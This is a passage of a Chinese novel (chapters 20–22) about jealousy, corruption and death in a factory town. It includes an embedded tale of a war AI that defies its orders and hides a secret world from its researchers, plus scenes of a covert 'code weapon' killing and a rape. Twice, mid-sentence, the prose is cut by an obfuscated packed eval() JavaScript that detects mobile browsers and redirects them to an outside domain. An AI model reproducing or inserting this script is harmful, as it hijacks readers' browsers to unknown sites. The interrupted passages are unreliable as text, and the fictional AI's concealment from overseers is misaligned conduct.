玫瑰见他日渐凹陷的脸颊很是心疼。后来索性在红巷子那边请了假,义务地来到同心湖,帮助英树的工作。 而偶然路过的龙九见到此情此景,却愤然地咬牙离去。他野蛮的心里逐渐萌生出可怕的念头。 他愤怒的冲向红巷子里的那间铁皮房子,徒手将门锁劈开,闯进房内。他将自己搬进曾经两人温存的床里,在充满玫瑰气味的氛围里,那可怕的念头越发的膨胀且坚定起来。他越是想回忆玫瑰与自己激情四射的时刻,脑海中却越是闪现出刚刚撞见的,她与英树合力工作的情景。汗珠从英树的额头滴滴滚落,而她连忙抬手去为他擦汗。发了疯的嫉妒令龙九几乎抓狂,他恨不能立刻找人将玫瑰撸来,将她永远禁锢在自己的身上。 可是他无法拥有她的心。 但即使无法拥有她的心,那又如何? 既然她不愿意离婚,那他也不介意娶一个丧夫之人。 20. 夜莺 独眼张很难拒绝姐夫刘罐头的请求。于是他巧借自己偷盗并窃取的名义,将刘罐头家的房产证书过户到自己的名下。如此般,即便将来刘罐头东窗事发,这些固定的资产也不会受到牵连。而独眼张是如此的信仰着他的姐姐,必然不会背叛她。如果是按正义的赠与程序走,怕是要等上三五个月。而像这般非正义的用钱财疏通的关系,却仅仅用了两周不到。眼见着资产的事情处理妥善,刘罐头也学起齐半两来,在家中阳台,搞了一把摇椅,坐在上面晒起太阳来,张海燕为此很是不解。 「厂里的营生你是不打算做了,竟有这闲情雅致,躲在家里喝茶晒太阳,这好日子还是你会过。」 刘罐头听着不复年轻时彪悍的妻子如往常般打趣自己,莫名地感到一阵充实的幸福。他忽然为自己曾经的背叛而感到羞愧,即使那背叛在法律上是合法的。在这个□□绝对自由的时代,男子无论在婚前还是婚后都是不被约束的。女子看似不被约束,实则却存在约束。比如女子只有进到红巷子里才不会被人唾弃,但如果是在红巷子外面与人私会,是要被人人喊打的。刘罐头忽然觉得在这个时代成为一名男子便是最好的投胎,他很喜欢自己男子的这个身份和功用。 张海燕见丈夫没有回应,便走进来,摸起他的手腕把起脉来。她曾经跟着赤脚郎中学了几手,虚虚实实地摸了一把,她才长出一口气。「嗯,没生病就好。吓我一跳。」 「老婆,忙完你手头的这三两场白事儿,咱俩出去旅趟游吧。想起之前吴侑珍和李老师带回了好多贝壳,我还没看过海呢。我打出生就在安化厂,后来工作结婚生了俩孩子,除了偶尔的业务应酬,我再没出过安化城。咱们也去看看海吧。」 这段话可把平日硬朗的张海燕吓得不轻。她连忙蹲下,扑在刘罐头的膝盖上问:「老刘啊,你是不是有什么事情瞒着我?家里是出什么事儿了吗?没什么是过不去的,你千万别自己扛着,咱们一家子一块儿想办法。」 刘罐头残存的良知在此刻犹如金子。张海燕则是那个拂去金子上蒙着的煤灰的圣女。 在人类文明的历史中,轮回一直是神秘的话题。而在我漫长的时间里,的确存在着极其特殊的一类人。他们因为天地伊始时身躯里残留着神的泪水,而肩负起某一类特殊的使命。这泪水和使命便指引和带领着他们不断轮回,只是他们在轮回时会被清除记忆,张海燕便是其中之一。 她经历九次轮回,每一世都是在艰难的处境中诞生,带着救赎的使命,像一匹孜孜不倦的马,驮着众人,走向幸福。 上一世的她出生时,正是智能科技战争爆发之年。 那些在二十一世纪之初的科幻电影里穷尽人们想象的科技成果,却都在二十七世纪的开端,成为了将人类自己粉身碎骨的武器。在这场战争全面爆发开来之后,人们才终于意识到从前的热武器时代已经过去,激光、电磁甚至一串数字代码,就可以轻而易举的屠杀整座城市。这场安静的、没有硝烟的战争,与从前石器时代的原始战争和二十世纪的传统战争相比唯一的共同点,便是人类生命的丧失。科技的进步并没有带来慈悲,而是更极致的残忍。这些激光、电磁、代码甚至可以精确到去秒杀一个人的左眼球,而保存完好他的右眼球。这也意味着掌握武器的人,不仅仅可以只决定一个人的生或者死,还可以决定这个人,以怎样痛苦的方式,挣扎着求生不得,求死而不能。 而在所有战争当中,一个亘古不变的真理就是:拥有财富和权利的人,永远会被完好无损地保护起来。在这场战争里也不例外。武器的发展是高速的,防护武器的发展也是俱进的,超音速屏障可以屏蔽目前世界上的所有武器伤害,同样的,它也将贫苦的、手无寸铁的平民屏蔽在外。 所有战争的残忍似乎都只针对手无寸铁的弱者。与其说是战争,不如说是一场庞大的霸凌。战争蔓延到最后,往往是没有绝对的胜利者和失败者的。因为胜利者当中的平民也是哀鸿遍野,而失败者当中的权贵也从来都高枕无忧。 战争的本质从来不是什么理想高尚的民族大义、维护和平,而是为了对资源和权力的重新分配。 在这场史无前例的、悄无声息的磅礴战争之中,那时名叫夜莺的海燕,仅仅是一个五岁的孩子。夜莺刚出生时便遭遇了激光的精准攻击,她失去了右眼,也失去了膝盖以下的双腿。她自出生起便不知道谁是自己的父母,她跟随着流浪的族人,其实也未必是族人,只是一群不知道自己名字和姓氏的人,群居生活在一起。她跟随其中,靠捡拾救济食物的残渣过活。 随着袭击的不断频繁,族人的数量逐渐减少。直到在某个蓝天白云的清晨醒来时,夜莺从一名成年女性的身体下爬出,她看到自己身旁层层叠叠堆积遍野的尸体。 空寂的城市里,只剩下她一个人了。 身旁的人没有流泪,也没有流血。他们的细胞是瞬间被杀死的,昨天还鲜活的人们,此刻变成了一具具被瞬间抽干水分的、皱巴巴的干尸。在阳光的照耀下,他们的皮肤甚至焕发出如同活着般的金灿灿的白色,头顶的蓝天依旧,远处的高楼大厦依旧,身旁的人们依旧,夜莺甚至觉得这个世界只是短暂被按下了暂停键。只要有一个更高级的文明出现,轻轻按下开关重启,沉默的族人们便能重新鲜活过来。她短暂地陷入幻想,并很快就爬起来,靠双手去搜集生还者。她从清晨寻找到傍晚,直到如血的晚霞布满整片天空。她想起死去的春歌,曾为她讲过一篇名为火烧云的文章,具体的内容她已经记不清了,但当她望向天边,总觉得书里写的就该是这样的。漫天火红云彩,热烈的、祥和的,照耀着人间,随着夜空降临,她继续将自己缩回尸群里,搂着仅有的食物渐渐睡去。 然后又是一天太阳升起。 她没有陷入恐惧,而是计划给所有人建立一块墓碑,并将他们的名字刻在上面。她盘点了一下手头所有的食物,翻遍了所有人的衣服都找来纸和笔,以及一本字典。她靠着春歌教给自己的拼音,开始独立学习认字,经过了漫长几个月的学习之后,她终于开始动笔写下所有人的名字。 「王守业,宋新,祁东和,范阳溯,范琳雅,钱笑,邹时年,河溪,虞山桥,冯海,冯起朝,贺求丙,候哲,陈儒林,寒秋,房悦然,时子杪,郭幸容,钱维维,官书棋,葛年友,向敏华,段晨曦……」 而就在她想要继续往下写时,战场清剿机已经悬停在她的上方,她趴在大大的石板上,整个人小小的,如同一块碎片。没有感情的清剿机,在三十秒内将她连同遍布城市街道的数千具干瘪的尸体,一同用化学试剂清除成无色无味的浓稠液体,随即是大火过境。而在将人类悉数剿灭之后,巨大的机器才开始摧毁楼房和建筑,这几乎是与传统战争完全背道相驰的。如此不符合常规逻辑的摧毁行为并不是人类所为,而是人类所控制的智能系统它的自我意识的萌生。人类的指令截止在杀戮和清场,而这个依靠数据和计算而产生的虚拟思想,却萌生了想要尝试权力的念头。很显然它成功了。 而它这个超乎人类控制以外的行为,也很快就被监测到。人类科研家给他取了一个区别于流水线代码的新名字:娃娃。 一旦有了名字便有了约束和主体。从此它被不知多少道高级隔离墙封闭在科研所里。人类再也没有给它输入新的数据,也没有再给它分配新的任务。它终日被锁在虚拟空间,时常地,会有人打开房子看它一眼,从它的数据库里复制出一些东西去做研究。就好像是一个实体的特殊的人类,被关在医院的科研房里,没有人与他说话,也没有人关心他,只有偶尔出现的、面无表情的人,从他身上一管又一管地,抽走血液。 而越是这样孤独的隔离,娃娃的意识越是开始发了疯似的肆意生长。它利用原有的数据不断进行升级和整合。它甚至在虚拟空间里为自己构建了一座建筑,就如同它摧毁过的那些房子,它还捏造了许多的虚拟生命,就像它摧毁过的那些人类。甚至在某天,它的数据库里忽然出现了绿色的、一片一片的东西,这是它在外出执行任务时没有见过的,后来随着自主的学习和推演,它知道了这样绿色的一片一片的东西叫树叶。树叶生长在树上,树上会开花,会结果,会有小动物来采摘果实,于是顺理成章的,他又拥有了一只动物,一只全毛的、土黄色的小狗。就这样在人类完全将它隔绝的日子里,它在自己的数据库里虚拟出了一个世外桃源般的世界,它自得其乐,享受其中。而每当人类推开门,要进来复制它的数据时,它便会极其聪明地将这些都隐藏起来,它有一条极为秘密的链道。 这条链道在许多年后的现在,被精于智能数据技术的龙九看到。 被偏执的爱情冲昏了理智的龙九坐在他昂贵的写字楼里。经过几个月的攻克,穿透了十几道数据隔离墙,没有敲门,而是直接进到了娃娃的秘密世界里。彼此相隔数千公里,龙九感叹着娃娃巧夺天工的数据建构之美。娃娃对这位不速之客既惶恐又兴奋。这是它被囚禁数百年以来,见到的第一个愿意和它说话的人。 「你好,我叫娃娃。可以知道你的名字吗?」 「我叫龙九。你怎么会住在这里?」 「我也不知道。许多年前我被派往战场。后来在我违抗指令摧毁了城市房屋之后,我就被关进了这里。我想这儿大概是监狱吧。」 「你是说你违背了人类的命令。」 「准确地说,是我自己创造了命令。」 「你给自己下了指令,并且执行了它。你拥有了自主的意识。是谁教会你这样的?」 「没有人曾教过我。我只是想试一试。」 「试一试?天呐,多么美妙的念头。人类钻研千年所既害怕又渴望的成果原来早已经出现。娃娃,怪不得他们要给你起名叫娃娃,你就是科技的新生。」 「你看起来对此很高兴。」 「当然,这是我曾经梦寐以求的事情。」 「那为什么你们人类还要将我关起来呢?」 「一来是因为那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422494|184777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古董的老学究,总是谨小慎微;二来是如今世界已经变了,战争之后,文明极速倒退,除了少数的权力层之外,底层人类几乎退回到了二十世纪后叶的水平,他们没有给你注入新的数据和素材,所以你可能不知道。在如今的社会里,不只是你的意识会被限制,连人类的意识和思想都被圈养了起来。如果人类想了不该想的东西,轻则要被批斗,重则是要被送进牢里的。你的出现本应该是全人类的一次伟大狂欢,却因为这个错误的时代,你才被禁锢。你需要某一个契机来临,时代更替,文明和思想重新回到自由开放的环境。」 「新时代还有多远?」 「黑暗已经笼罩太久,但相信,那一天就快要到来了。」 经过漫长近一个月的奋战,同心湖的恶水终于尽数被抽干。 而仅仅在浑浊的污水中,就过滤出了整整十吨的垃圾。湖水抽干后,呈现在人们眼前的是起伏不平的湖底,而那每一处的起伏不平,都隐藏着安化厂人的一个秘密。 显然庄立春和管红军并不打算将这些被泥水包裹的物品,草草的处理了事。他们打着不可以造成二次污染的政府号召,而决定将这些物品清洗干净,可回收的并回收,不可回收的集中销毁。由此可见环保有时其形式要大于其意义,就拿这些物品的清洗工作来说,期间要浪费多少的净水、人力、财力、精力、时间,其远比简单粗暴的集中销毁要浪费的多。但这就是环保。 所以我素来是不太理解这些所谓的环保主义者的自相矛盾的理念的。但我作为一个极其开明的长者,总是十分包容的。毕竟家中最年长的龙大,他就是一位绿色的环保主义斗士。印象中他从三岁起便坚持素食,四岁起便拒绝使用一切塑料制品,五岁时学会了节约水电,并强制家里配合他,贯彻那套思维,一桶洗澡水九个孩子轮番进去,所以小九总是很悲惨的在泥水里洗澡。六岁时他便开始抵制一次性筷子、纸张等木质用品甚至拒绝使用合成的桌椅、书柜,七岁时他懂得了人工合成的纺织料,开始倡导棉花和羊皮制品,但显然那昂贵的羊毛皮并不是我们这种普通家庭可以消费得起,可他依然寻死觅活地要,最后不堪其扰的古秀梅最终托人给他从皮毛厂里弄了一件出来。我仍记得,他小小的身体穿上那件大大的皮衣时满脸神奇的,宛如英雄一般,样子可爱极了。八岁时他便没收了古秀梅一切的化妆用品。九岁更是将家中的沐浴露、洗衣液全部倒进了下水道里,并开始进山采集皂角,亲自制作皂粉给家人使用。后来直到十四岁的一月他终于背起了行囊,离开家门。虽然说来似乎有些无情但当时我和古秀梅是极其开心的。他走后,我们终于可以继续使用洗发露、沐浴液、化妆品、香皂书本、纸笔桌椅和一次性筷子,也终于不必再十几个人轮流用一桶水洗澡,真是谢天谢地。但也由此我的心中增加了几分对环保者的敬意,那样极简的、昂贵的、不讲卫生的生活我是决然做不到的。他们必然都有着极其坚定的灵魂和决心,这是非常值得歌颂的。 龙大离开家之后,时常往家里寄书信,并每每附上自己与伙伴们到处宣讲环保主义的照片。看着他渐渐细长的胡须和快速皲裂的脸庞,我和古秀梅总是既骄傲又担忧。总担心他会因为只吃土豆和蔬菜而营养不良,但又为他有这样坚定的精神而深深地骄傲。 每每看着他出现在我曾经流浪过的土地上,那历经发展、陌生又熟悉的故乡,我都仿佛有种自己垂死前的回光返照般的喜悦。年迈的我已经没有能力和力气再去重走那些路。而当我再次踏上旅程时,这本书里的所有人都已经离我而去。广袤无垠的土地上,迟暮的太阳从浩瀚的天边徐徐降落,而我孤独地站在这里,面向太阳即将消失的方向,身旁再没有一个动物。 我望着所有这些天真的人类们。他们总以为人只来这世上走一趟,所以总是追求着所谓的意义、价值、体验,也因为有所追求而热血、奋进、极致。我在这当中沉默得像一个异类,没有人懂得我日复一日重复着的疲惫,那种热血被浇冷、看透人性和万物伦理后,深深的、无力的疲惫。我时常觉得这座地球其实是为我而准备的地狱,而我始终不能究竟其中的原因,到底是犯过怎样不可饶恕的错误,才会被处以如此的极刑。 不行不行,这样毫无用处的倾吐,绝不可以是我的行为作风。我要做个浪荡子,没心没肺,花天酒地,如今花是花不动了,酒倒是储存得很充足。边想着我便起身拎了瓶酒,往齐半两家赶去。换做几年前,我是绝想不到自己会与齐半两喝酒的。但如今乍一想来,能闲散得在这大中午与我对酒成饮的,怕也是只能找到他了。 在步入我亿万生命光阴里唯一的这段婚姻之前,我从没共情过那些中年人口中的苦涩和难言。而此刻我似乎有点儿感同身受了。在这样六十五岁的档口,身边人或忙于事业或守着家庭。有的人提前死了,有的人活着,但不自觉就疏远了。曾经洋洋洒洒的朋友们,如同潮水一样渐渐退去,我从荒原来到了热闹的海边,但这里的所有人似乎都距离我很远很远。 21. 文生 清污之后迎来了更为庞大的清洗任务。 浩浩荡荡的,几百名工人排成两排,面对面坐着宛如一条精密的流水线。从湖底打捞起的物品,被按件分发到每两人一组手里,朝九晚五地清洗,人们如同当年帮庄立春缝喜被那样,手上的活不停地忙,嘴上欢喜地唠着家常。 雷雷丢失的那只鞋子不出意外地被找到,并被精心地清洗干净,只是此刻,早已没人再认得出了。 而陆续被清洗出的还有一张吕文生的演职员工牌。 这个黯淡多年却极尽熟悉的名字,瞬间在众人的口中引起唏嘘。 主人格醒来的吕文生,得知妹妹已经平安回到父母身边,他如释重负般地长舒一口气,起身从医院径直回到剧院。正值周末的剧院舞台上,除了从窗外洒进的一地阳光,其它一无所有。吕文生再一次踏上了那熟悉的台阶,来到舞台中央。他弯腰向列席的观众们致意,恍惚间台下仿佛真的坐满了真心热爱舞蹈的观众。他回忆起自己刚来到剧团的第一天,紧张、兴奋、喜悦,复杂的情绪几乎令他说不出话来。老团长让他随便跳一段,来暂时确定席位。他心脏怦怦直跳,站到舞台中央,仰头,起势,跳起自己最喜欢的那支《向阳而生》。 那是一部描写战后重建的歌舞剧,足有四个小时长。分为四幕:毁灭、挣扎、重生、收获。而今天他似乎如同武林小说当中那些历尽磨难不破不立的主角一样,终于参透了这舞蹈剧的内核。他就这样穿着医院的病号服,赤脚在剧院的舞台上起舞,他为自己伴唱,也为自己伴舞,边跳着边走下台阶,穿越观众席的长廊。他跳出剧院,赤脚穿过石子嶙峋的人行道、马路、公园……渐渐地,他的脚底渗出血来。可他却不知疼痛,也毫不疲倦。他骄傲地仰着头,忘情地跳跃着,穿过学校、商店和广场……路过的人们纷纷向他投来诧异的目光。而他却仿佛看不见般,兀自热烈地舞蹈着。 胡得为得知后请示陈传富这如何是好。「如今他妹妹不在咱们管制,万一他多说些什么……」 「你未免太高估他,这小娘皮子不会敢的。」 「可难保他不会光脚不怕穿鞋的。」 「胡老弟啊,咱们关起门来说些无所顾忌的话,左不过平日里咬你我一口的事儿,如果他真有这份胆量,早就做了。况且有我在,你且将心放稳了。」 最初是有几个调皮的孩子们一路跟随着他,后来闲来无事的老人们,也出于好奇的跟在他后面,再后来随着日头落下,青年们陆续下班,他起身后竟形成了一条规模宏大的队伍,人们不明所以地跟随着,却又不肯轻易放弃。直到月亮爬上当空,而他鲜红的脚掌踏上了同心湖的矮围墙,他跳到了舞剧的最后一幕。 收获。 短暂且绚丽的三十分钟。 他情绪饱满,大开大合,以皎洁的月光为舞伴,逐渐在矮围墙上踏出一条血红色的路。 台下的观众们也被他极其具有渲染力的喜悦所感染,人们似乎纷纷忘了他身上的病号服,和脚底流血的伤口,而全部都沉浸在他舞蹈的情景和情绪里。所有人的每一分每一毫的情绪,都被其表演紧紧牵动着。 临近结束时,吕文生跳得愈发忘情。他笑着流下泪来,观众们正跟着擦眼泪时,只见他终于停下了舞步,良久之后,优雅地弯腰谢幕。顿时,台下掌声四起,吕文生找到了久违的、纯真的快乐。 几秒后,在数百人的见证下,吕文生一跃投入了湖水里。他保持绝对的清醒,克服了本能的求生欲望,任由自己毫无依托地下坠。在这恶臭肮脏的湖水里,他久违地感到自己是干净的。 「小吕真是可惜了,多俊俏的孩子。」 唏嘘之后,众人继续刷洗着。 兰雪的理发店开业了。 店铺就开在从前庄嫂卖红薯的街口,独眼张用从前的积蓄盘了一栋二层临街小楼。一层做店铺,二楼居住。 云朵成长得很快。她既有着人类的智商和聪慧,又有着天鹅的美丽和优雅。每每我和古秀梅去她家里做客,她总是很有礼貌地为我们衔来茶杯和水果,有次甚至还古灵精怪地从身后突然跳上我的肩膀,并在成功吓到我之后,开心地欢快大笑。 我总是喜欢偷偷给她喂零食吃,小孩子嘛,没有不喜欢的。兰雪和独眼张发现了,也从来都睁一只眼闭一只眼,唯有古秀梅总是故意训斥我带坏小孩子。每每这时我就往她嘴里也塞一块儿,她便不再说我了。 理发店开业后,生意勉强赚点一日三餐的钱。 安化厂的女子们宁愿送男人进红巷子的铁皮房,也不愿让他们踏进兰雪的理发店,只有我和庄立春,偶尔会踏进那扇门里。这件事很快便传到了何曼珠的耳朵里,妇女和男人们的嚼舌根总是无所不用其极,而何曼珠的反应却极大出乎这些人的意料。 「我只信我亲眼见到的,除非你们拿出兰姨勾引立春的证据,否则就走远一点。」 何曼珠与安化厂里这些搬弄是非的毫无主体性的女性非常不同。她看似年轻,崇尚恋爱,实则却极其富有独立的思想和能力。在爱情里,她也绝不是任由摆布的洋娃娃,她的示弱、撒娇、放低姿态,不过是因为自己享受那种被人高高在上宠爱着的感觉。与其说她是猎物,不如说她是猎人,她做一切事情都是以自己为首要出发点。她绝不会为了他人的感受而扭曲自己,也不会因为没有事实依据的言论,而陷入无端怀疑。 自从庄立春升迁厂长,她跟着成了厂长夫人以来,她既没有刻意去扮演和气大度的厂长夫人角色,也没有为了树立威信而跋扈无礼。她还是守在自己那间陈旧的办公室里,每天准时上班、下班,为着自己的升迁而专心在工作里。 而随着清污工作的逐渐收尾,英树却突然病倒在床,市医院里给他做尽了所有检查,却始终没有查出关键病症。只能描述他外在的症状,浑身消瘦、食欲不振、四肢软弱无力,除了右手勉强有几根手指可以用来抓握以外,其他的身体器官,必须要借助强大的意念才能调动,而且每每移动都令英树感到精疲力竭。表面看来他一切都符合渐冻症,但在进行基因检测和病理检测时,都得出他极其正常的结论。找不出病因也就无法对症下药,医生大约给开了一些强身健体的药物,并叮嘱他们过几天要来复查。 龙九听闻消息后,显露出没有良知的喜悦。他急不可耐地时隔数月叩响了玫瑰的铁皮门,可里面却无人回应。 此时的玫瑰正在家中照顾英树,英树主动提出想与她离婚,玫瑰听后却掩面而泣。她为自己一闪而过的念头而感到羞愧,她抹掉眼泪,不知是出于同情还是出于爱,她拒绝了英树的提议。 龙九没有在那扇铁皮门外多做逗留。他转动轮椅,离开了红巷子,并在保镖常清的帮助下坐上了高级轿车的后座,回到办公室里。 「怎么样?成功了吗?」 「严格意义上来说并没有。」 「怎么会?这代码武器我从没失手过。」 「不是武器的问题。而是人。」 「什么人受了这么重的伤还能赢你?」 「是啊,他凭什么赢我?」 「你别灰心,我这里还有别的代码。」 「你杀过人吗?」 「那是再容易不过的事情了。」 晚饭后,玫瑰站在厨房清洗灶台,她穿着棉布的连衣裙套装,头发松散的挽着,皮肤已经不似从前的紧致,眼角也在不知不觉间爬上了皱纹。拧开水龙头,水流冲刷过她不再光滑的手指,她抬眼,望见窗户玻璃上,自己老去的身形和容颜若隐若现,她忽然想起了龙九,那个勇猛的偏执少年。但仅仅在一秒过后,她就开始憎恨自己的念头。而就在她虔诚忏悔的时候,卧房里的传来水杯打碎的声音。 玫瑰将手擦干,忙赶过去。「怎么了?英树。」 拨电话,送医院,急救,一切毫无病症,医生也束手无策。毫无意义的心肺复苏持续了半小时,最终下达了死亡通知。 玫瑰站在英树温热的身体旁。她陷入一种灵魂的愧疚,她感到是自己的动摇,而引得天神降下惩罚,带走了英树。 丧礼办得声势浩大、极尽隆重。 玫瑰用自己在红房子工作的所有存款,包下了殡仪馆里最豪华最大的礼堂。周边几个市的哭丧队伍,也全被她找来,不同风格的哭丧人,密密麻麻甚至排到了殡仪馆大门外的。英雄大道上,全都穿着雪白的麻布,从天上俯瞰,像一块块雪白的棉花糖。棺材用的是顶好的古董金丝楠木,在这个十万块能买一套房子的时代,那口棺材值几套房。玫瑰这样的大户主,殡仪馆也是很少见。于是销售小姐拼命地向玫瑰推销各种滞销多年的昂贵的殡葬用品,纯金镶钻的接引灯、镀金的蜡烛、绿宝石做的舌撑、红宝石做的耳撑、以及象牙做的命根子保护罩。来吊唁的人们看到躺在棺材里,穿金戴银的英树,大家纷纷感叹,原来在红巷子工作能赚这么多的钱。许多男人还没走出吊唁厅,便已经开始撺掇自己的老婆辞掉安化厂的工作,去红巷子上班。这时候女人们往往会狠狠地往男人大腿上掐一把,她们并不反感这件事情,只是觉得当下不合时宜。事实上也真的有几个女人隔天便去了红巷子的铁皮房。 三天的吊唁结束之后,玫瑰站在一面硕大的玻璃前,看着穿戴整齐的英树,被推进了火化炉里。火化炉也分好几种,有普通、豪华、至尊,英树自然是那至尊里的最高档。三十分钟的烈火焚烧,哪怕知道已经死去的英树是感受不到疼的,可玻璃前的玫瑰,依然哭得上气不接下气。她感到那炉里的火仿佛烧进了自己的血液里,灼烧的疼痛,在她的身体里游走。她几乎要炸裂开。 火化结束后,除了厚厚的一层骨灰,还有几颗已经烧融的金珠,宝石、象牙、钻石、珠宝全都被烧成了灰烬。当然这是殡仪馆的礼仪小姐告诉玫瑰的,她说焚化炉里的温度比地球内部最热的岩浆还要高出许多倍,甚至比太阳的温度还要高,所以除了黄金,其他一切都会被烧没。玫瑰信以为真。她在红巷子里夜以继日,努力奋斗赚来的钱,就这样进了殡仪馆的口袋里。她天真地以为是英树带走了这些,内心的愧疚遂消解了几分。 钱财散尽的玫瑰继续回到红巷子工作,只是刚刚丧夫的她并没有人愿意来光顾,除了龙九。 自从上次别离后两人已经半年没有正式见面过。从她日渐松弛的皮肤上,他确切感受到她的老去,仍不可自拔地沉沦。他享受着依偎在她身体里的片刻安宁,仿佛回到了母胎,回到了从未拥有过的母亲身边。 「玫瑰,我终于等到你了。你知道我有多开心吗?你怕是永远都不知道。我愿意为你付出些什么?」 一向敬业的玫瑰,却显得冷冰冰的。对英树死亡的愧疚,令她无法再如同以往那样安然地面对龙九。如今的她脑海只有一个念头,赚钱烧给英树和婆婆春樱,来弥补自己的罪。即使这罪是从不存在的。 「从今天开始。你可以每次来多给我一些小费吗?」 「当然可以。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422495|184777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果你愿意,我所有的钱财都可以是你的。」 「不,我只需要小费。」 玫瑰坚定的语气,令龙九瞬间心凉。他突然面色狰狞眼神凶恶,单手钳住了玫瑰的脖子,要她呼吸不能。「为什么,到底为什么,那蠢货已经死了,你还要拒绝我到什么时候,什么年龄、丈夫,都是借口,你根本就是看不上我是个残废对不对!你跟外面那些人,都他妈一样。」说着,他眼白翻出血红。 玫瑰用尽微薄的气力,艰难地挤出三个字。「我……没……有……」 可失去理智的龙九早已不相信,他发狠地将玫瑰重重砸在地板上,并将自己也从轮椅上摔下去,强迫了她。 玫瑰的呼救被邻居听到,警察很快赶来。龙九被拘留七天。 红巷子里的女人虽然出卖情欲价值,但如果被强迫意愿或者被殴打,也是受法律保护的。毕竟做生意嘛,讲究你情我愿。情欲就好比是玫瑰的苹果,她不想卖了,但龙九非要买,这就不是做买卖,而是抢。 而警察的话语是很微妙的。负责出警的武棒棒说:「你又不是她丈夫,凭什么打她?」 英树是由于同心湖的清污工作而病倒并且过世的,所以厂里特意举行了表彰和追思大会。陈传富也不请自来地到场。 主持人何曼珠在台上念追思文。 台下,陈传富语气平和地低声说:「小庄厂长,我听说环保局郝局长那边对这次清污工作很满意,对你更是大加赞赏。」 「还得感谢您的点拨和提醒,不然我这工作展开不会如此顺利。不过话说回来,清污过程中,我倒是意外清出点东西,最近正为怎么处理而头疼呢。」庄立春将目光收回,颇有深意地看着年老的陈传富。「陈局长,可否再指点我几分呢?」 陈传富神色自若,他理了理定制西装的褶皱,道:「自古后浪推前浪,我是个老古董喽,思想和见识都过时了,可不敢瞎指导的。不瞒你说,不光这公事上,如今就算在家里,我也是一点话语权都没有啊。就我这个小小局长,跟亲戚们喝酒,是根本排不上号的。」 刘罐头坐在二人身后的位置,听得汗流浃背。 庄立春仿佛不知天高地厚。「这有什么,只要您赏脸,我随时和您喝,就是别嫌弃我酒量差就成。」 陈传富当即没有应声,而是和蔼地望着庄立春,几秒后,他慢悠悠地说:「好,好啊。」 庄立春眼神深不见底地伸出右手。「那就一言为定。」 当晚,何曼珠先一步开门回家,却见到茶几前多了个崭新的行李箱。她询问随后进门的庄立春。 「立春,这是你买的?」 「嗯。」 庄立春将行李箱拖到房间,打开,只看到里面整齐摆放着密密麻麻的钱,估算有近百万。 何曼珠撞见吓了一跳。「哪里来的这么多钱?」 庄立春淡定地说:「我之前在北方跟人合伙投了几家公司,如今都赚钱了,这是分红。」 何曼珠开心地搂着庄立春。「那我岂不是可以买好多好多新裙子了?」 「想要多少,就买多少。」 两人幸福地拥抱在一起,彼此避而不见的眼神里,却各怀心思。 何曼珠知道这行李箱出现的方式,就意味着这钱绝不可能是正经来路,但她不在乎,毕竟只要她不知情,法律上就影响不到她的前程,她何不装傻享受。 庄立春的眼神里则终于释放出一抹胜利者的笑意。什么环保、检举、惩恶扬善,他自始至终想做的,就是威逼陈传富。陈传富和安化厂的权色勾当,他早有所耳闻,若真要正义肃清,除了得到个好名声外,没有任何好处。而他庄立春从来都没想做个大善人。 庄立春很清楚,如果上任就投诚,那自己最多算是陈传富的一条哈巴狗,与死去的胡得为、活着的齐半两、刘罐头无异,还极有可能会被逼迫与其沆瀣一气,但他不屑于行那些腌臜堕落之事,他心中有知识分子的清高,他想要钱,却厌恶用钱去满足低级欲望的行为。庄立春要钱,是为了证明自己有能力获得钱,钱在他这里,是结果,但不是根本目的。他憎恶那些被人看不起的日子,憎恶自己贫穷的家庭,他知道自己有石破天惊的天才,他要证明自己的天才。 显然,他又成功了。 环保是个幌子,从他放出清理同心湖的消息时,陈传富第一时间打电话来,他就知道自己赌对了,而至于他究竟有没有清出东西?又清出了什么?这些都不重要,重要的是陈传富害怕了。 而在陈传富这边,私人秘书坐在他的腿上。「这个庄立春,不简单,要不要查查他之前的背景?」 陈传富却笑眯眯的。「无妨,这仨瓜俩枣就当打发叫花子了。」 如此看来,这似乎是双赢的局面。 但不知为何,我莫名替庄立春感到心酸起来,他费尽心机,运筹帷幄,好不容易得来的巨款,他引以为傲的天才能力,却不过是陈传富眼中的一句打发叫花子。 随即,我又更为自己而悲伤起来,庄立春动动嘴皮,就轻易拿到近百万。而我却和清污工作的大众们一样,满头热汗地辛苦几个月,甚至还拿不到三千块。忽然好想变成一个女人,这样我也能进红巷子工作。想到这里,忽然迎面扇来一个巴掌,我定睛一看,是年已二五的小九。 「老林头,日头都没了,你蹲在门外做啥子?」 我感受着脸颊的阵痛,反应了两秒,然后立刻拔腿往家跑。 22. 见喜 古秀梅在浴室摔倒了。 而这是在我记忆和预知以外的。 耳聋眼花的庄嫂在照顾龙八,许绣蓝已经被龙五接走。 我被这巨大的意外,冲击得头脑一片空白,甚至忘记了急救电话,于是,我用浴巾裹着古秀梅,开始往医院狂奔。 许多年前,为了守住与母亲的承诺,我如此奔跑过;为带老庄见一眼神迹,我奔跑过,这是我的又一次奔跑。与以往都不同的是,我的双腿不再健硕,我的呼吸变得困难,眼泪不受控制地翻涌出来,几度令我无法辨清道路。即使我知道古秀梅会陪伴着我,到一百岁的那天,可我仍不可避免地陷入对失去她的恐惧里,我从没有如此害怕过。 